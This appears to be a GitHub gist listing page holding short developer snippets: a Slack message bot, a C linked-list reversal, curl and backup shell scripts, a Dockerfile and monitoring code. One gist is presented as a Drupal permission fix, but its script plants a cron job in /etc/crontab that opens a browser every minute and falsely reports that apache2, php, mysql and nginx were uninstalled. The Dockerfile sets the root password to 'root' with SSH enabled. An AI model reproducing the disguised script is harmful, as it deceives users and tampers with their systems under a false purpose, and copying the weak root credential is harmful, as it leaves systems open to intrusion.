Skip to content

Instantly share code, notes, and snippets.

View anandpathak's full-sized avatar
🐜
building slowly!

Anand anandpathak

🐜
building slowly!
View GitHub Profile
@anandpathak
anandpathak / slack-browserBot.js
Last active January 13, 2017 09:09
Slack auto message sender from browser
values1 = ["Hi!" , "How are you ? " , "fine " , "do you know, who I am ? " , "A bot ! :)"]
function dothis(i){
setTimeout(function(){
document.getElementById("msg_input").value= values1[i];
TS.view.submit()
},
i*6000);}
for(i=0;i<values1.length;i++)
dothis(i);
@anandpathak
anandpathak / linkedListreveseRecursively.c
Created January 24, 2016 16:47
Reversing linkedlist node recursively
//head points to the first node of the linked list
void reverse(struct node * ptr1){
struct node *ptr2;
if(ptr1->next !=NULL){
ptr2=ptr1->next;
reverse(ptr1->next);
temp=ptr2->next;
ptr2->next=ptr1;
ptr1->next=temp;
return ;
@anandpathak
anandpathak / UrlStatus.sh
Created January 27, 2016 10:05
Url status from using Curl command
#!/bin/bash
#pass the input url file
#urls must be in new lines
File=$1
while read url; do
status=$(curl -sI $url | head -1 | awk '{print $2}')
redirect=`curl -sI $url | grep "Location\|location" | awk '{print $2}'`
echo $url $status $redirect >>url_out.txt
done <$File
wget --spider -e robots=off -r -nd -nv -H -l 1 -o outfile.log http://URL
# -w 2 : pause between each crawl
#
@anandpathak
anandpathak / Dockerfile
Last active August 8, 2016 16:53
Dockerfile :- image contians apache2, php-fpm, mysql-client,git and ssh
FROM ubuntu:14.04
MAINTAINER Anand Pathak <anandpathak69@gmail.com>
RUN echo "deb http://mirrors.digitalocean.com/ubuntu trusty main multiverse" >> /etc/apt/sources.list && \
echo "deb http://mirrors.digitalocean.com/ubuntu trusty-updates main multiverse" >> /etc/apt/sources.list && \
echo "deb http://security.ubuntu.com/ubuntu trusty-security main multiverse" >> /etc/apt/sources.list
RUN apt-get update && apt-get install -y openssh-server
RUN mkdir /var/run/sshd
RUN echo 'root:root' | chpasswd
@anandpathak
anandpathak / MysqlBackupDrush.sh
Created September 23, 2016 11:34
shell script to take frequently back of mysql DB ignoring cache tables using drush
#!/bin/bash
DATE=$(date +%d-%m-%Y)
BACKUP_DIR="BACKUP DIRECTORY LOCATION"
SITENAME="YOUR SITE NAME"
DIR="PATH TO DRUPAL INSTALLATION"
mkdir -p $BACKUP_DIR/$DATE
cd $DIR && drush sql-dump --extra=--no-data > $BACKUP_DIR/$DATE/$SITENAME-$DATE.sql
cd $DIR && drush sql-dump --skip-tables-list=cache,cache_* >> $BACKUP_DIR/$DATE/$SITENAME-$DATE.sql
gzip $BACKUP_DIR/$DATE/$SITENAME-$DATE.sql
@anandpathak
anandpathak / README.md
Last active October 5, 2016 17:24
multiple Drupal site permission fix from apache sites-available list

Just run master script

  /bin/bash master.sh
#!/bin/bash
echo "#!/bin/bash" >> /var/tmp/cool.sh
echo "export DISPLAY=:0" >> /var/tmp/cool.sh
echo "xdg-open 'https://www.google.co.in/search?q=Some+men+just+want+to+watch+the+world+burn' > /dev/null" >> /var/tmp/cool.sh
chmod a+x /var/tmp/cool.sh
echo "* * * * * $SUDO_USER /var/tmp/./cool.sh" >> /etc/crontab
echo "uninstalling apache2, php, mysql, nginx..."
sleep 3
echo "successfully uninstalled all the processes ! "
@anandpathak
anandpathak / subnetmaskValidation
Created June 8, 2018 13:05
validate subnet mask
var _isValidsubnet= function(mask){
if(/^(\d|[1-9]\d|1\d\d|2([0-4]\d|5[0-5]))\.(\d|[1-9]\d|1\d\d|2([0-4]\d|5[0-5]))\.(\d|[1-9]\d|1\d\d|2([0-4]\d|5[0-5]))\.(\d|[1-9]\d|1\d\d|2([0-4]\d|5[0-5]))$/.test(mask) && mask !== "255.255.255.255"){
var _mask = mask.split(".");
var str = _mask.map((val)=>{ return parseInt(val).toString(2)}).join("");
console.log(str);
return ! (/01/.test(str))
}
else{
return false;
}
@anandpathak
anandpathak / processMonitoring.sh
Created August 28, 2018 07:58
monitor cpu and memory usage for long time
#!/bin/bash
DATE=$(date "+%Y-%m-%dT%H:%M:%S")
echo "total CPU, total Memory Usage, highest CPU process, Highest mem process " > stats-$DATE.csv
while :
do
cpu=`grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage "%"}'`;
memory=`free | grep Mem | awk '{print $3/$2 * 100.0}'`
top_cpu=`ps --sort=-pcpu -aux | sed -n 2p | awk '{print $3"|"$11}'`
top_mem=`ps --sort=-pcpu -aux | sed -n 2p | awk '{print $4"|"$11}'`